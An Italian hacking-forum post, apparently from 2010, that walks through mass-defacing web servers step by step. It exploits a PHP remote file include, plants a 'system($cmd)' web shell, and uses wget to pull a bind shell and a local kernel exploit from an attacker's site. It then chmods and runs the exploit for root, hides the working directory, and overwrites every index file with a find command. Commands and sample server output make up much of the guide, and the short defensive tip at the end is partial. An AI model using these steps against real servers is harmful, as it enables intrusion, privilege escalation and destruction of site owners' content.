Anducar1.0

Effettuare un Mass-Deface

« Older   Newer »
  Share  
yutubeforum
view post Posted on 6/4/2010, 19:11




Salve, spesso mi è stato chiesto come sia possibile bucare un server per poter effettuare un Mass-deface; e alla fine sono riuscito a darvi una guida completa prendendo spunto da delle guide on-line:
Per tale scopo, possiamo sfruttare un Remote File Include.
Tale tecnica ha lo scopo di ricercare all'interno della sorgente, della struttura di una pagina .php una variabile buggata,
ossia una dichiarazione di variabile "imperfetta" che mi consenta di avere un determinato livello di accesso al sistema.
Il problema e quindi da ricercare nel sorgente di una pagina.
Un classico esempio di variabile non dichiarata in modo sicuro sarebbe:

<?php
include ("$pagina.inc.php");
?>

Da cio possiamo quindi dedurre come sia facile includere un file esterno, una shell, per ottenere dei privilegi.
La struttura di tale variabile fa si che il sito buggato (es. www.eurohackers.it ) vada a ricercare la pagina in
questo determinato modo:

www.eurohackers.it?(variabile)=pagina.php , da cio e facile dedurre come un WebAttacker puo sfruttare tale falla con,
una semplice modifica dell'url, ossia dichiarando: www.eurohackers.it?(variabile)=[ sito esterno ]?&=cmd , dove
?&=(cmd ) ci da la possibilita di eseguire comandi come se ci trovassimo su una consolle unix.
Possiamo quindi caricare al posto di [sito_esterno] una shell gia compilata, come le famose c99 o r57, in un formato diverso
dal php, quale txt gif etc, per dar modo alla pagina di girare in remoto.
Infatti se richiamassimo una shell in formato php, questa girerebbe unicamente in locale, e non in remoto.
Alro esempio puo essere dato dalla creazione di una pagina di esecuzione di comando in php, ossia dovremmo creare una pagina
php che contiene:

<?
system ($cmd) :
?>

In questo modo, possiamo definire noi i comandi da lanciare sul sito vittima.
Nel caso in cui, caricassimo la pagina sopra descritta su un nostro dominio, chiamandola ad esempio kinglion.php, e volessimo
attaccare index.php ( con variabile insicura )sul sito www.eurohackers.it, ci bastera digitare:
www.eurohackers.it/index.php?pagina...p?&cmd=[comando] , dunque andremo ad inserire
il comando unix subito dopo cmd= per ottenere i privilegi del WebServer.
A questo punto spero sia chiaro il tipo di attacco che possiamo effettuare. Molto importante per tale RFI risultano essere le
"BindShell" che ci danno la possibilita di associare ad una porta di una macchina, una shell da poter utilizzare
in remoto, quindi una BindShell apre una determinata porta sulla macchina a cui possiamo successivamente conntterci da
Telnet.
Una volta trovato un sito vulnerabile al nostro RFI, possiamo quindi creare una cartella all'interno dello stesso, nella
quale piazzare la nostra BindShell.
Il comando per far cio ?:

www.eurohackers.it/index.php?...md.php?&cmd=cd /directory;mkdir cartella;cd
cartella;wget http://tuo_sito.com/binshell ,quindi volendo creare la cartella kinglion ( dove metteremo la BindShell )
all'interno della directory admin digiteremo:

www.eurohackers.it/index.php?...md.php?&cmd=cd /admin;mkdir kinglion;cd
kinglion;wget http://tuo_sito.com/binshell

Analizziamo questo comando:
[http://www.eurohackers.it/index.php?...cmd.php?&cmd=] : come abbiamo accennato prima ci da la possibilit? di sfruttare una variabile insicura [include ("$pagina.inc.php");] contenuta in questo caso in index.php , per
richiamare una pagina php da noi creata contenente a sua volta [system ($cmd) :] che ci da cosi la possibilita di inserire
comandi unix dopo [?&cmd=].
cd /admin : ordina al webserver di spostarci nella directory admin
mkdir kinglion : invece ordina al webserver di creare la cartella kinglion all'interno della directory in cui ci troviamo,
quindi in questo caso admin, dove prima ci siamo spostati col comando cd
cd kinglion : come certamente avrete gia intuito, questo comando ci sposta nella directory kinglion appena creata
wget http://tuo_sito.com/binshell : infine wget caricher? un file da URL esterno nella directory in cui ci troviamo.

Potr? comunque capitare che noi non disponiamo dei permessi necessari per pter interagire col webserver.
In questo caso possiamo exploitare il sistema con exploit locale.
Inizieremo quindi con l'analizzare la macchina su cui ci troviamo per verificare i permessi di scrittura a nostra
disposizione tramite il comando uname -a;id che ci visualizzera in output i permessi attuali, il kernel, l'host della macchina e se il kernel in questione ? patchato.
Su Server windows che riconoscete dall'otput ad esempio :[ Microsoft-IIS/6.0. PHP/4.4.1 ], si hanno ottime possibilit? di
un accesso root, mente su server Unix sara indispensabile exploitare il sistema.
Dando quindi in imput il comando :
www.eurohackers.it/index.php?...php?&cmd=uname -a;id
visualizzeremo in output i dati di cui prima ho scritto, che potrebbero essere ad esempio:

7Linux eurohackers 2.6.17 #2 Thu nov 6 09:25:45 GMT 2004 i686 i686 i386 GNU/Linux
uid=99(nobody) gid=99(nobody) groups=99(nobody)

Tale risposta del server ci dice che non abbiamo i permessi di root sul server in questione e che quindi non possiamo
caricare, edidate o uppare nulla.
per risolvere a questo inconveniente, come prima ho accennato possiamo exploitare il kernel.
Anche non avendo i permessi di root, nel 99% dei casi almeno una o piu directory del Webserver ( spesso la directory /tmp )
ci da i permessi di cui abbiamo bisogno, e sara prorio quella directory vulnerabile che ci dara la possibilit? di
exploitare tutto il sistema.
Creiamo una nostra directory all'interno di quella vulnerabile col comando "mkdir directory" come sopra descritto.
Consiglio di antecedere un "." ( senza apici ) alla directory creata in modo tale da poterle garantire un certo grado di
invisibilit? ( per evitare che venga vista ed eliminata dall'admin ), ma comunque si noti che la cartella sar? visibile
col comando " ls -a ".
Creata la nostra Directory che chiameremo ad esempio kinglion, disporremo di accesso root e quindi potremmo caricare al suo interno il nostro exploit locale
che ci dara pieno accesso a tutto il sistema.
Per caricare il nostro exploit che potete cercare sul sito www.eurohackers.it , useremo lo stesso comando che abbiamo
visto prima, per caricare la BindShell:
www.eurohackers.it/index.php?...md.php?&cmd=cd /tmp;mkdir kinglion;cd
kinglion;wget http://tuo_sito.com/exploit
Ora il server elaborera la nostra richiesta e dovrebbe risponderci:

www@eurohackers:/tmp$ wget http://tuo_sito.com/exploit
--17:47:15-- http://tuo_sito.com/exploit
=> `exploit'
Resolving http://tuo_sito.com/... http://tuo_sito.com/
Connecting to http://tuo_sito.com/[http://tuo_sito.com/]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]

[ <=> ] 10,152 784.69K/s

12:40:30 (156.23 KB/s) - `exploit' saved [10152]

Ora l'ultimo passo per diventare root, sara di settare i permessi di scrittura ed esecuzione (drwxrwxrwx) in "chmod 777".
Il comando che dobbiamo dara sar? quindi:
www.eurohackers.it/index.php?...md.php?&cmd=cd tmp/;cd
.kinglion;chmod 777 exploit;./exploit;uname -a;id
e se avremmo fatto tutto bene, il server ci rispondera in output:
7Linux eurohackers 2.6.17 #2 Thu nov 6 09:41:07 GMT 2004 i686 i686 i386 GNU/Linux
uid=99(root) gid=99(root) groups=99(root)
Cio sigifica che finalmente siamo ROOT, siamo i padroni del server.
Ora nel caso volessimo effettuare un "mass-Deface" sar? sufficiente una sola stringa di comando:
find / -name "index.*" -exec cp nostroindex.html {} \;
quindi digiteremo:
www.eurohackers.it/index.php?....php?&cmd=find / -name "index.*" -exec cp kinglion.php
{} \;
Ossia, con questo comando andremo alla ricerca in "TUTTE" le directory del Webserver di quei file denominati index in tutte
le sue estenzioni, che verranno automaticamente sostituite con la pagina da te dichiarata, in questo caso da kinglion.php
( anche se e sempre consigliabile rinominare la pagina sempre col nome index ).
Occorre infine precisare che la index da sostituire per in nostro Mass-deface deve essere situata all'interno della stessa
directory nella quale viene eseguito il comando, quindi nel nostro caso nella directory principale.

Come abbiamo visto una piccola imperfezione in una variabile ( include ("$pagina.inc.php"); ) puo degenerare in mass-deface,
da cio possiamo quindi dedurre come sia vulnerbile il web, e come la conoscenza dei linguaggi di programmazione sia
indispensabile, per ogni aspirante hacker.
Como posso io evitare che il mio sito venga attaccato con un Remote File Include?
Baster? quindi analizzare il sorgente della pagina, e se questi presenta una variabile vulnerabile quale ad esempio
include ("$pagina.inc.php"); occorrer? modificarla con include " /".$pagina; safe_mode (safe_mode= On) nel
file php.ini
Con questa leggera modifica possiamo quindi evitare il RFI, ma permettere il directory traversal.



In questo modo prendendo comando del server potremo modificare senza alcun problema i Client a noi legate e quindi effettuare un Mass-Deface( defacement di massa) dei siti
 
Top
Bombaatomica
view post Posted on 24/7/2011, 21:09




fonte. -.-
 
Top
1 replies since 6/4/2010, 19:11   1679 views
  Share